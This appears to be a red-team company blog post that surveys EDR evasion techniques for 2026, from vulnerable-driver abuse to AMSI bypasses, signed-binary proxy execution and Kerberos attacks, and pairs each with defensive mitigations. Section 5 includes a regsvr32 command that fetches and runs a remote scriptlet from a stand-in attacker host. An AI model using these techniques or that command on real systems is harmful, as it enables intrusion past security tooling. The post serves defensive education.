Skip to content
LP
Blog / Red Team

Bypassing EDR in 2026: what's actually working

EDR vendors ship the same detection playbook. Attackers moved on years ago. Here's what's actually working against modern EDRs in 2026 — from an operator's engagement notes — and what defenders need to add to close the gaps.

LeetProtect Research · ·10 min read

Every EDR vendor demo shows a red circle around some cobalt-strike PowerShell script from 2019. Meanwhile the actual red team engagement your organisation just paid for used none of that, bypassed the EDR cleanly, and ended with domain admin. What changed?

Two things. First, EDRs have converged on a similar detection posture — kernel callbacks, user-mode hooks in a small set of DLLs, telemetry to a cloud backend, occasional in-memory scanning. Second, attackers know that. The 2019 techniques (unhooking ntdll, direct syscalls, sleep obfuscation) are now table stakes; the interesting work has moved further in.

This is the operator’s short list of what’s actually working against production EDRs in 2026, and — for the defenders reading — what to add to close each gap. If you’re building an internal red team, this is what your training curriculum has to cover. See our 90-day purple-team playbook for the operating model.

The baseline: what almost every EDR is doing

Before the interesting techniques, the shared detection surface:

  • Kernel callbacksPsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback, PsSetCreateThreadNotifyRoutine. These fire on process creation, handle operations, registry access, thread creation.
  • User-mode hooks — inline hooks in ntdll.dll (and sometimes kernel32, advapi32, crypt32) that redirect calls to the EDR’s telemetry channel before letting the real syscall through.
  • ETW providers — Microsoft’s Event Tracing for Windows, especially the Microsoft-Windows-Threat-Intelligence provider and Microsoft-Antimalware-Scan-Interface.
  • AMSI — Antimalware Scan Interface, in-process scanning for scripting engines (PowerShell, JScript, VBScript, WMI).
  • Memory scanning — periodic or triggered scans of process memory for known bad signatures.
  • Behavioural / ML backend — the cloud pipeline that scores process trees and network patterns.

Almost every mainstream EDR has all six. The differences are in coverage completeness and in-cloud correlation. The techniques below target this convergence.

What’s working

1. Kernel-mode BYOVD (bring-your-own-vulnerable-driver)

Still the highest-signal technique against EDR in 2026. The workflow:

  • Load a signed but vulnerable driver (the “Living-off-the-Land Drivers” project — LOLDrivers — catalogues them).
  • The driver runs in ring 0, above the EDR’s user-mode hooks.
  • From ring 0, remove the EDR’s kernel callbacks (PsSetCreateProcessNotifyRoutineEx entries), unhook their driver’s IRP handlers, or terminate the EDR process outright.

Microsoft’s driver-block-list has been shipping since 2022 and is now default-on in Windows 11 24H2, but the list lags. New vulnerable drivers show up faster than blocks. In our own engagements, LOLDrivers still lands cleanly against multiple EDRs.

MITRE map: T1562.001 (Impair Defenses) with signed-driver-abuse specifics.

What defenders need: Enable the Microsoft Vulnerable Driver Blocklist, monitor for new kernel driver loads (Sysmon Event 6), and enforce driver signature policies that go beyond “signed.”

2. Hardware breakpoints for user-mode hook bypass

The old approach: unhook ntdll by reading a fresh copy from disk and rewriting the hooked functions. Loud — EDRs detect memory writes to ntdll regions and page-guard the pages.

The 2025+ approach: don’t unhook. Set hardware breakpoints on the EDR’s inline hook, and when the breakpoint hits, use the debug registers to jump past the hook to the real syscall stub. The EDR’s memory pages are never modified. Callers of the wrapped API from outside your process are unaffected. From the EDR’s telemetry, your process is calling something else entirely.

Public reference implementations are around — TamperingSyscalls, HWSyscalls. The technique is stable enough that it’s now in operator training curricula.

MITRE map: T1055.001 chain and T1027-family evasion.

What defenders need: Look for processes with unusual DR0-DR3 register state via ETW, particularly on ntdll symbol addresses. Falcon-style behavioural detection catches some of this via unusual API call sequences.

3. Indirect syscalls with return-address spoofing

Direct syscalls (syscall instruction from a random module) are detected via return-address inspection — the EDR checks the caller’s return address is inside ntdll. Indirect syscalls execute the syscall instruction from within ntdll’s .text section by looking up the syscall stub, then jumping to it. This defeats naive stack-walk checks.

Return-address spoofing goes further: rewrite the stack so it looks like the call came from a legitimate location. Combined with indirect syscall, this defeats the current generation of stack-based detection.

MITRE map: T1055 variants.

What defenders need: Kernel-side telemetry that captures the syscall number and the actual CS:RIP at syscall time, not user-mode stack inspection. Some EDRs are starting to add this; most aren’t.

4. AMSI patch via context-based bypass

Static AMSI patches (e.g., AmsiScanBuffer NOP) are trivially detected — the byte pattern is signatured. Modern bypasses target the AMSI context struct itself:

// Find the AmsiContext, corrupt the Session field
// so AmsiScanBuffer returns clean without patching bytes

The bytes at the well-known patch offsets never change. The behaviour changes. No memory-integrity alarm fires.

Sean Metcalf and other researchers have kept the AMSI bypass conversation alive; the 2026 versions are context-manipulation-based and blend into normal PowerShell process behaviour.

MITRE map: T1562.001 (AMSI-specific).

What defenders need: Constrain PowerShell to Constrained Language Mode. Log AMSI failures explicitly (they’re logged as event 1116-1119 in some setups; check yours). Disable PowerShell v2 entirely.

5. LOLBAS + signed binary proxy execution

Not new. Still working. Signed Microsoft binaries with an execution path an attacker can hijack:

  • MSBuild.exe executing arbitrary inline tasks from XML
  • InstallUtil.exe running arbitrary managed assemblies
  • regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll (the classic “Squiblydoo”)
  • mshta.exe running remote HTA files
  • rundll32 with -sta for .hta-style behaviour
  • cscript/wscript for JScript/VBScript

Signed by Microsoft. Whitelisted by default. Executes attacker code. The bypass is that “process is signed by Microsoft” is not a security property.

MITRE map: T1218 variants.

What defenders need: AppLocker or WDAC (Windows Defender Application Control) with a proper allow-list — not just “Microsoft-signed.” Block or heavily monitor the LOLBAS binaries that don’t have a legitimate use case in your environment.

6. Cloud-first payload delivery

The EDR’s job on the endpoint is signature and behavioural detection. Delivery-side EDR-evasion has moved into the cloud. The pattern:

  • Payload staged on Slack, Discord, Notion, SharePoint, or a legitimate CDN (Cloudflare, GitHub Pages) — never a random VPS.
  • C2 traffic tunnelled through the same. Modern C2 frameworks (Sliver, Havoc, Nighthawk) have Domain-Fronting alternatives that use CDN infrastructure and blend into normal HTTPS.
  • Beacon jitter and sleep obfuscation timed to look like periodic collaboration-app polling.

The EDR sees slack.exe making outbound HTTPS. Everything else is behind TLS. Egress DLP without TLS inspection catches almost nothing.

MITRE map: T1071.001 (Web Protocols), T1573.002 (Asymmetric Cryptography).

What defenders need: Egress TLS inspection where feasible; egress network baselines by process (slack.exe should have a well-defined destination set); DNS logs and query pattern analysis.

7. Modern token abuse and Kerberos tradecraft

Once landed, credential access has gotten quieter:

  • S4U2self + S4U2proxy chains against RBCD-vulnerable objects (msDS-AllowedToActOnBehalfOfOtherIdentity).
  • Kerberos ticket manipulation via LSASS-adjacent APIs (not sekurlsa::logonpasswords — that lights up every EDR).
  • ntdsutil from a domain controller with DCSync-equivalent rights rather than Mimikatz.
  • Certificate services abuse (Certified Pre-Owned techniques) — quiet, powerful, still under-detected.

MITRE map: T1550.003 (Kerberos), T1558.003 (Kerberoasting), T1552.004 (certificate abuse).

What defenders need: Constrained delegation audit, RBCD monitoring, ADCS attack path awareness, DPAPI-key monitoring, MDI (Microsoft Defender for Identity) or equivalent.

The wider point

EDR bypass in 2026 is not one clever trick. It’s a stack: quiet delivery, quiet initial execution, evasion of user-mode telemetry, evasion of kernel telemetry, quiet credential access, quiet lateral movement. Any single control breaks part of the stack; no single control breaks all of it.

That’s why a real adversary simulation is stack-shaped, not point-shaped. If your last red team engagement ended with “we ran a Cobalt Strike beacon and it got caught,” you were pentesting the demo, not the stack. See our red teaming page for the engagement model that walks the whole thing — or scope a red team if this post described things your defenders haven’t seen.

> MAPPING
MITRE ATT&CK
T1055.012: Process HollowingT1620: Reflective Code LoadingT1027: Obfuscated Files or InformationT1140: Deobfuscate/Decode FilesT1218: Signed Binary Proxy ExecutionT1562.001: Impair Defenses: Disable or Modify ToolsT1055.001: DLL Injection
TAGS
EDREvasionAdversary SimulationWindows InternalsRed Team
[ ENGAGE ]

Ready to test this in your own environment?

Scope an engagement and we'll bring the same rigor to your stack.

Scope an engagement